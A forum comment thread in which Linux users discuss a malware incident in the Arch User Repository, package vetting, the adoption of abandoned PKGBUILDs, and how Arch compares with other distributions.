You must log in or # to comment.
Did somebody get infected by installing https://aur.archlinux.org/packages/sex ?
I have like 4 things installed from aur, investigated each one first, and I’m still paranoid about all of them.
Relatively new Linux user here.
I’ve seen a few posts about malware on Linux mentioning things called AUR and NPM.
I understand they are package managers? Is that something I have to worry about as a Bazzite user?
npm: Node Package Manager.
AUR: Arch User Repository.Bazzite is based on fedora not Arch so you don’t need to worry.
Ah alright, thanks for the info!
Not likely. Just know that AUR is user driven and not checked or vetted.
Yeah, I try to stick to the native flatpak manager for bazzite. Are there any other vetted software managers out there that you would recommend?
Real talk for a moment, there isn’t a system alive that currently solves the supply chain attack issue. there’s a trade-off between usability, and security. You can be a secure as you want to be, all it takes is a small accident by one developer in a package that you’re using, even if they’re using gpg signing to accidentally upload A package that’s been tampered. It stinks, but that’s the reality. What I think should be applauded is the thoroughness that the arch developers are going through the repo right now trying to find these packages. I don’t know the specifics, but if they’re like other open source developers, they’re unpaid people doing this out of their love for the software and community. and more than likely, this is a headache on top of headaches that they already have that they’re doing for the love of the community.
Idk how the AUR works but I like that nix fetch the source from the repo and also check its hash from a maintainer provided one. Prevents repo hijacking.
Although it’s still pretty much vulnerable if the attacker controls both the nix file and the repo
That wouldn’t have fixed the AUR incident because the attacker updated the PKGBUILD which is roughly the same as the nixfile. And there are no packages provided by the AUR, just PKGBUILDs. You always build the package yourself locally.
Every *-git package also fetch it from the repo. The apt analogy is someone haven’t been maintaining the nixpkg and then it gets adopted by someone else. Now that someone else change the build script to be malware. So it is no fault of the upstream
A lot of people probably won’t like this, but personally I feel like Arch is a terrible OS from an average user’s perspective. It offers nothing notable of value to its users, while making sacrifices in critical areas.
Unstable as hell and constantly breaks for no reason. On top of that, it’s seriously insecure, as shown on exhibit A. It’s not the first time, and it won’t be the last.
Why not use Mint, Fedora, Zorin, Pop!_OS, or any of countless Linux distros that work perfectly and don’t suffer from Arch’s issues?
Note: I’m not an OS developer and mean no hate towards Arch devs or users. I’m simply speaking from a user experience perspective.
“Unstable as hell”, “breaks for no reasons”, “seriously insecure”, other distros “work perfectly”. I find this kind of uninformed hyperbole tiring, but probably entirely descriptive of your own user journey. Arch is intended for technical users, not “average users” (Whatever that means), and people should not be recommending that their uninitiated friends start their Linux journey there unless they’re prepared and capable of providing technical support. I used Fedora and Ubuntu for decades before moving to Arch a few years ago, and I’ve never loved an OS more than I love this one. But that’s my journey.
Everyone has their own preferences and experiences. Arch remains one of my top used Linux distros, maybe 2nd most used overall. Switching away from it was a great decision for me. For others, switching to it may have been great.
and people should not be recommending that their uninitiated friends start their Linux journey there
This is a good point, and perhaps one of the main issues. However, part of the blame rests on Arch developers, because for some reason they try to make it more accessible (like including the arch install script in the official iso). So the “Arch is intended for technical users” is less true, as per devs themselves.
Arch is deliberately minimal making it a good base system in the same way Debian or Fedora is. It’s smaller, simpler, updates faster than the others and is far more configurable. It is however not built for the average user and most distros built on top of it that try to make it more “usable” are IMO pretty dangerous ideas. I think the only derivative i’ve tried that was good was SteamOS because they made it Atomic like nix or silverblue.
None of this really has to do with the AUR. That was always labelled as “use at your own risk”. And to their credit they caught and addressed the attack within a day of it happening. Still, hosting user PKGBUILDs and leaving it to individual users to audit them is not a secure solution, its just punting on the responsibility.
How is it any more configurable than other distros?
“More easily configurable” would be more accurate, because there’s less things that could get in your way. The system is designed to make it as simple as possible from a developers perspective.
Get off my lawn!! …mumbles something incomprehensible about Slackware.
Its the same config file designed in the exact same way. The only difference is on Arch the user may know how their system fits together but they very well may not.
Or maybe I can agree with “more configurable” if I shift my perspective of configuration to be taking a default and adding/removing. Because arch users will add a lot of things and pre configured distros wont need to add as many things and maybe that means more configuration is happening. Even though both users can theoretically add and remove the same amount.
My experience is arch is more stable than ubuntu. Broke once in the last 10 years, because of a bug in a package, fixed the system with manual upgrade from live usb in 1h. AUR is not part of the archlinux repositories, it’s a community thing with mostly the same security problems every similar package manager has (npm, gems, etc.)
1-1, we did not learn anything except you don’t like arch.
AUR is not part of the archlinux repositories
Looks like you’ve never been to the Arch Linux website. The AUR link sits right next to the official Packages link. Only upon clicking the link you get a moderately visible disclaimer that “AUR packages are user produced content.”, which is also true for all other packages, so it’s not exactly clear what it means.
I mean, seriously, if that’s not being ‘part of the archlinux repositories’, then I guess Arch has no repositories.
The arch wiki page for the AUR has a big, vibrant red box in the intro section stating:
Warning AUR packages are user-produced content. These PKGBUILDs are completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk.
If you have ever installed something through the AUR in the intended way, you would know that it does not involve running the package manager tool until the very last step. You need to git checkout the package recipe, build it. This is clearly what the post you are answering to meant by “not part of the arch linux repositories”.
That’s cool and all, but why is that full disclaimer not present on the AUR part of the Arch website? Only a portion of it, which to me at least, makes limited sense.
You go to archlinux.org, you press on AUR, there’s no disclaimer about AUR packages not being thoroughly vetted, you find a package you need, and you do yay -S package.
To give Arch some credit - Arch wiki does state that “AUR helpers are not supported by Arch Linux.”, in a red warning at the top of the page. That’s precisely the kind of disclaimer that, in my opinion, should be posted on the AUR website. Nobody goes to the wiki if they don’t need it.
At the end of the day, this may be an argument over nothing, because even if Arch developers adopted my suggestions, I realize it wouldn’t noticeably affect anything.
It’s more about principles. The OS itself may be (or may have been) targeted towards technical users. But then more user-friendly tools were created, which the developers know perfectly well are used by almost all Arch users. Furthermore, they themselves adopt some of these tools, making the OS less for technical users, and more for average users.
Knowing full well the risks, they refrain from putting adequate warnings and disclaimers where people would actually see them. While they may not be at fault, this just looks a lot like corporations that technically aren’t guilty of anything, but are aware of issues and don’t even try to solve them, while actively increasing the risk of more people being affected.
I mean, genuinely, why aren’t the disclaimers from Arch wiki present on the Arch Linux website? What’s stopping the Arch team from putting them there?
You said Ubuntu three times. /s
AUR is supposed the last resort, after distro repos, building from source, Flatpak, and Appimage. Ubuntu’s equivalent to the AUR would be PPAs.
Personally, I have fewer problems gaming on Arch than any other I’ve tried.
Edit: Snap is bad for software freedom. I won’t touch Ubuntu anymore; if I use
apt, I meantaptand notsnap. Hijacking my command is Microsoft-style rug-pulling.I’m not a fan of Ubuntu either, but at least it doesn’t break or get hacked every week.
AUR is supposed the last resort, after distro repos, building from source, Flatpak, and Appimage. Ubuntu’s equivalent to the AUR would be PPAs.
That’s the problem. AUR is not the last resort. There’s nobody who would build an app from source before installing it through AUR. Most people wouldn’t even use appimages over AUR.
Even on the official Arch Linux website, ‘AUR’ is literally right next to ‘Packages’, making it seem like a good and secure way of installing applications. Which it isn’t.
He said Debian 3 times
I had heard that Ubuntu is an old African word for “can’t configure Debian”
Why is adoption a thing in this way though? People compare AUR to github which seems very apt, but on Github no-one can come and take over the URL of an abandoned repo for rhemselves, if someone wants to start maintaining and the old owner is MIA, they have to make a fork. Why doesn’t AUR work the same way but instead allows anyone to take over any abandoned project with no checks?
It is about updates and duplicate packages are not allowed.
I usually don’t do it, but the user is supposed to check. It’s itself a git repo, so you can see who changed what.
It’s just a build script. There are long and complex ones, but many are short. Easiest ones are just a few lines of shell script + metadata
The forking option wouldn’t work as well as it does on github because AUR packages are not namespaced like GitHub repos, e.g. communism/mypackage; instead it’s just mypackage. So if adoption required a new name you’d have mypackage-cont, mypackage-cont-cont, or whatever. And it wouldn’t really be possible to introduce username namespacing because AUR packages are just Pacman packages that are community-contributed rather than official, and Pacman, like most package managers, doesn’t namespace their package names;
firefoxis justfirefoxrather than, say,mozilla/firefox. Some AUR packages get added to the official repos so when you do, e.g. yay -Syu, you’ll then install the official package if you previously had the AUR package installed as it has the same name.There isn’t a perfect solution. Even if package adoptions were moderated, someone could take over a package and initially push a genuine commit, and then their next commit is malicious. Reviewing every single AUR commit would be incredibly labour-intensive. Possibly you could add automated checks for commits that suddenly add an npm install or other suspicious command with regex, but attackers could just get cleverer about avoiding those regex checks. Imo the best solution is just more widespread warnings about the fact that AUR packages are community-contributed with no guarantees of safety (e.g. on the Arch wiki where it sometimes suggests users install AUR packages), and AUR helpers forcing users to read PKGBUILDs before installation.
Official packages are already vetted so they don’t need user scoping. They could just enforce user scoping in the AUR and use the provides array for resolving conflicts. Its not a perfect solution but there’s no such thing as perfect security, just better security.
Also having an AUR helper that properly containerized the build step would be an even bigger improvement.
Other package managers (npm pypi) don’t need namespaces to avoid these issues
Back when I was learning arch they made sure you understood AUR is an option, it was never a good option. Even then the risks were just not worth it.
My understanding the AUR was it was supposed to be a “here’s how I made this work.” But it gets treated as a generic repo all the time so…this.
Meanwhile, Windows users: btw, first time? 💀🪢
Wait AUR works in windows?
lol no, but malware does
It is ok, Micro$oft is asking me to call so they can fix it for me.
I legitimately have not had virus issues with Windows in over a decade. Using uBlock Origin for ad blocking and the built in Microsoft antivirus. Every few months for the first few years I’d put it through the wringer of a bunch of USB-bootable antivirus scanners. They kept finding nothing, so I slowed and eventually stopped bothering.
Common sense and an ad blocker do wonders.
I’ll second that ad blocking and common sense are probably enough. On every one of my machines, Windows Defender hasn’t reported finding anything that wasn’t a false positive in all the years it’s existed, even before it was bundled with Windows. And I’m someone who constantly installs random indie games and niche software.
Ad blockers and secure connections preventing MitM attacks did more to eliminate viruses than most anti-malware ever could. Viruses used to be everywhere in the old days, but now you usually only hear about them spreading through supply chain attacks or targeted campaigns.
To be fair, me neither, but every time somebody has an infected machine, it is windows
Trying to run pirated games will burn you occasionally, though.
But that’s okay. My gaming PC is only for gaming. If it manages to get a virus that I can’t quickly resolve, I’ll just wipe it and restore from backup. And the biggest tragedy there will be that I won’t be able to play games for a few hours. Meanwhile, my Linux PC that does everything important is completely safe.
Extensively.
I’m not going to lie the aur never made sense to me. If you are going to go to all that trouble why not just package it. Source packages are a thing.
One of its biggest strengths is packing proprietary stuff that can’t be redistributed and using custom download clients.
You can share the PKGBUILD, but not the resulting package. Back in the early Humble Bundle days there were packages to install games from there with dependencies and everything; with a special downloader that could download the installers with a custom downloader and supplied credentials
There are plenty of packages that do this like game data packager. All then fixes i have heard to try to fix the aur is just reinventing main repo packaging again. I really do think what needs to be done is streamline packaging and becoming a maintainer. I say more apprenticeships to strengthen the maintainer pipeline.
The developers themselves are often not the package maintainers. Before a package is published or updated in one of the official Arch repos, it has to be built, tested, and sometimes patched (which is why you see a
-1,-2, etc. appended to the package version), in order to work correctly not just on its own but in an Arch system with Arch packages that it is likely to encounter. The process is not as thorough as Debian for example, but it’s still the responsibility of the package maintainer. If the package is still in early development, deprecated (e.g.wine32), an out-of-tree kernel module (e.g.xpadneo-dkms), or is meant to be built from the latest available commit (any number of*-gitpackages), the AUR is a convenient way to share PKGBUILD files rather than have the user build the software manually based on a readme, if it even includes build instructions. The PKGBUILD is then ingested bymakepkg, which both configures the environment and builds the software, and outputs a package that can then be installed and managed by Pacman.The caveat is that packages built from the AUR are not vetted by any package maintainers. They can have bugs, they might depend on outdated or no-longer-existent packages, or might contain malware.
it makes sense to me. remove as much friction from the publishing process as possible, so you get a huge amount of packages. this incident just shows they removed a little too much.
there are so many niche packages on the aur useful to so few people that nobody would go through the official process to properly package, test, and maintain them.
for example: vscodium is a fork of vscode, but microsoft disables the marketplace for it. the
vscodium-marketplacepackage from the aur adds it anyway. i don’t think any regular repos have these kind of hacks and patches available.I found it kinda funny that enabling the marketplace in VSCodium was your example here, given how much of a vector for malware that is itself. It’s malware all the way down.
You can download .vsix extensions from the marketplace and import them into VSCodium manually just FYI. And it won’t auto update so it will save you next time a supply chain attack inevitably hits and starts infecting new versions. Assuming the downloaded version isn’t infected in the first place of course.
i don’t even use it, it was just the first thing on my mind. lots of packages have multiple versions with niche patches.
It just seems odd to me if there is no maintenance why not just build a package yourself from the devs provided source code? Maybe I’m just an old man but it seems without the on going maintenance it would be about the same as for example using buildpackage and apt-build on Debian but that is a local repo for just me. So if something goes wrong it only affects me not the whole internet.
Not to discredit your point about the AUR as I use it plenty myself but for this specific case is there a reason to use vscodium on arch since they ship code as an official package which has a marketplace?
Iirc, isnt that just a build right out of the ms repo? So all the telemetry would still be there by default, which vscodium removes. If I am remembering right, that would be the best reason IMO.
https://gitlab.archlinux.org/archlinux/packaging/packages/code/-/blob/main/PKGBUILD
Seems like it, but isn’t that the same what vscodium does? https://github.com/VSCodium/vscodium#why-does-this-exist
Unless i am misunderstanding?
I don’t really use either (outside of work scenarios where its going to be regular VSCode on windows anyway), just going off memory here, so I’d need to check too.
Doing a bit of looking, per vscodium folks:
They are very similar. Code-OSS is what you get when you build vscode from source. VSCodium is essentially just a build script that automatically builds from source when MS cuts a new release and then uploads the binaries here to GitHub. In that sense it is mainly to save time.
Additionally, VSCodium turns off telemetry in the build process, and rewrites some of the deeply nested telemetry URLs to go nowhere in case something in the codebase tries to send info back to MS. So that is a small difference that a standard build of Code-OSS would not have unless it was done manually.
I’m not sure how the packaging was done to get Code-OSS into Arch, so it’s possible there are other differences with the Arch version specifically.
Source packages are a thing.
AUR is a repository for source packages (in Arch it’s called PKGBUILD) from users. You can write PKGBUILD yourself or just download it from AUR if someone already made it.
To be fair aur should be merged with nix or something to share efforts and be cross platform.
There is also appimages, if used as flatimage which uses bubblewrap as sandbox even if there is malware its impact would be minimalized
The very point of AUR is to have it properly installed via pacman
I use aur, extensively, wasn’t impacted by the supply chain attack cause I read the diffs.
Be real for a second,
Did you, or did you not, manage to review a diff, and say “no, that looks fishy”.Do you really think you are immune from compromised binary AUR packages thats being downloaded straight from GitHub? Sure, now it’s not only the AUR that’s bad, but in the end of the day, a malicious binary did arrive at your computer.
Let’s say that you don’t use *-bin packages, and only download from compilable source, are you immune from the strategy that the state actor who caused CVE-2024-3094 used to compromise packages?
I’m with Cubit on this one. I updated some AUR packages last week. I always do a quick skim through the pkgbuild, and I always check the diffs with respect to my installed version. Auracle clones the git repo for the package, so it’s easy to check. It takes more work and, granted, it’s a reason they’ll stay outdated for longer. I updated 5/34 foreign packages. The others are just not worth it to update every time. And, personally, I have had PKGBUILDs that looked fishy, forgot the functionality I needed, were badly written, wrong dependencies,… and, after looking for alternatives, I just rewrote myself.
When I learned of the attack I did go and recheck those packages, but they were not impacted… I don’t do much node things, so if a node-related package was doing an npm install I might have missed it. But the commit author changing on the git diff I think I would have spotted. So if the attack was more sophisticated and was context dependent, using plausible commands, setting same git committer names, (ab)using files upstream, etc. Then yeah, I might get pwn’ed. But not like this.
Binaries from aur is asking for trouble, unless you absolutely trust the upstream. E.g. Microsoft, Amazon, … You can clearly see it in the PKGBUILD. With -git packages, you need to be doubly aware, but if I need it, the alternative is I clone and install it myself, so not much security and probably frustration is gained.
The xz attack was on a different level, and if I remember correctly, never hit the arch main repo, by pure chance of not being a target. I trust the arch main repo’s. The day a key gets stolen, a lot of people will be impacted, so let’s hope this aur thing didn’t compromise more high profile maintainers…
Also, we’re talking about the AUR, not about upstream. I’m not reading all patches on all main repo packages. And if I wanted to build everything myself I’d be using Gentoo.
I do understand some people don’t want to give the time to all these steps, but the alternative for me is just too bad. It’s a time/security trade-off for which everyone sets the weights differently.
in the end of the day, a malicious binary did arrive at your computer.
No, it didn’t.
I’d just like to interject for a moment. What you’re refering to as Berkeley Software Distribution, is in fact, Unix or as I’ve recently taken to calling it, Ma Bell Berkeley Unix
Is this referring to some specific event or is it just a general warning about AUR?
I use AUR for “legacy” NVidia drivers btw
It’s referring to those unfortunate findings
The specific event is the cause for the latest Arch News entry.
It bothers me that the movie this meme is based on removed the head rests. Smh my head.
Every movie does that. Just how they remove helmets from bikers and armor. Gotta see the actors beautiful face after all.
What’s even worse is the helmets with lights on the inside so bright all the character would see is their own reflection
And loose their darkness vision and looking at some of those SciFi space helmets, basically completely blinded.
Star trek would not make it through first season if they wore ev suit every time they beam down…
shake my head rest
It’s a metaphor for how AUR removes security guardrails.
I use malware btw
